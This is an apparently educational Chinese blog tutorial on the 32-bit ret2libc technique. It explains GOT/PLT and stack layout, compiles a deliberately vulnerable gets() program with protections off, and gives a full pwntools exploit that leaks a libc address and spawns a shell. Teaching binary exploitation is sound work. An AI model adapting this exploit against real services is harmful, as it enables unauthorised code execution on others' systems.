PWN基础16:Ret2Libc 32位实例

预备知识

在上一节,我们学习了GOT、PLT表,Linux的延迟绑定机制。

1、那么,延迟绑定对我们的学习有什么不一样的启示呢

GOT表

  • 一个绝佳的攻击目标
  • 包含libc函数真实地址,用于泄漏地址
  • 覆盖新地址到GOT表,劫持函数流程

PLT表

  • 不用知道libc函数真实地址,使用PLT地址即可调用函数

2、Libc

  • Libc就是Linux下的C函数库,其中包含着各种常用的函数,在程序执行时才被加载到内存中
  • Libc一定可执行,跳转到Libc中的函数可以绕过NX保护

3、ret2libc的使用条件

  • 泄漏Libc函数地址的条件:程序有输出函数,如puts、printf、write;要输出函数的目的是要泄漏地址
  • 实现:设置好输出函数的参数为某函数GOT表地址;GOT表中保存已调用过的函数的真实地址

4、ret2libc的内存布局,这块要好好理解,理解好了下面才好写Exp

PWN基础16:Ret2Libc 32位实例_第1张图片

这里的内存布局,参数1、2、3都是write()函数的参数,刚接触的话,难理解的是这个预留返回地址,其余的布局我们都很熟悉了

这里通过一个例子来理解预留返回地址

//Test.c
#include "stdafx.h"
#include 

int main(int argc, char* argv[])
{
	MessageBox(NULL,"prettyX","PWN",MB_OK);
	return 0;
}

生成exe,通过OD分析一下

通过单步、下断点等操作,我们来到调用MessageBoxA处

PWN基础16:Ret2Libc 32位实例_第2张图片

此时,栈中的分布如下,同时我们要注意上图中,call MessageBoxA的下一条指令的地址

此时,我们F7步入跟进MessageBoxA,再来看一下此时栈中的分布情况,发现已将上上图中call MessageBoxA指令的下一步地址压入栈中,也正是通过这里,我们来理解上面提到的ret2libc的Payload的内存布局中 预留返回地址的布局位置

可能大家有疑问,那参数的调用是如何实现的,我们来看下面,下图就是步入

PWN基础16:Ret2Libc 32位实例_第3张图片

如上图的黄框,通过ebp加一定的偏移量来定位参数

通过最后的retn语句返回Main函数中,如下图,又重新回到Main函数中

PWN基础16:Ret2Libc 32位实例_第4张图片

这里对预留返回地址的理解很重要,大家亲自跟一遍,理解起来就会好多了

Ret2Libc

下面是这节我们研究的源码

//L16.c
#include 

char buf2[10]="ret2libc is good";

void vul()
{
    char buf[10];
    gets(buf);
}

void main()
{
    write(1,"hello",5);
    vul();
}

以如下指令编译

gcc -no-pie -fno-stack-protector -m32 -o ret2libc1_32 ret2libc1_32.c

首先查看一下保护情况,开了 NX保护,所以ret2text、ret2shellcode这两种方法就不能用了

PWN基础16:Ret2Libc 32位实例_第5张图片

看一下程序中,是否有system函数,发现并没有

objdump -d -j .plt ./ret2libc1_32 |grep system

使用如下命令查找字符串,同样并未找到,所以只能靠自己构造出这个字符串了

ROPgadget --binary ./ret2libc_32 --string "/bin/sh"

下面,明确我们的目标:system函数属于libc,而libc.so动态链接库中的函数之间相对偏移是固定的,即使程序有ASLR保护,也只是针对于地址中间位进行随机,最低的12位并不会发生改变。

思路:

  • 泄漏ret2libc_32任意一个函数的位置
  • 获取libc的版本
  • 根据偏移获取shell和sh的位置
  • 执行程序获取shell

ldd 列出动态库依赖关系

好了,这里使用gdb来看一眼ret2libc1_32

首先来计算一下溢出偏移

下面开始写Exp

#Exp.py
from pwn import *

context(arch="i386",os="linux")

#第一次构成溢出,泄漏gets_got地址
p=process("./ret2libc1_32")
e=ELF("./ret2libc1_32")
write_plt_addr=e.plt["write"]
gets_got_addr=e.got["gets"]
vul_addr=e.symbols["vul"]
offset=22
payload1=offset*"A"
payload1+=p32(write_plt_addr)+p32(vul_addr)+p32(1)+p32(gets_got_addr)+p32(4)
p.sendlineafter("hello",payload1)

#通过泄漏的地址,计算system地址,再次构成溢出,获得shell
gets_addr=u32(p.recv())
libc=ELF("/lib32/libc.so.6")
libc_base=gets_addr-libc.symbols["gets"]
system_addr=libc_base+libc.symbols["system"]
bin_sh_addr=libc_base+libc.search("/bin/sh").next()
payload2=offset*"A"+p32(system_addr)+p32(0)+p32(bin_sh_addr)
p.sendline(payload2)
p.interactive()

执行Exp.py,成功获取到Shell

PWN基础16:Ret2Libc 32位实例_第6张图片

这节就到这里了

继续

加油


参考

Rojer师傅的课程

https://www.jianshu.com/p/c90530c910b0

你可能感兴趣的:(PWN)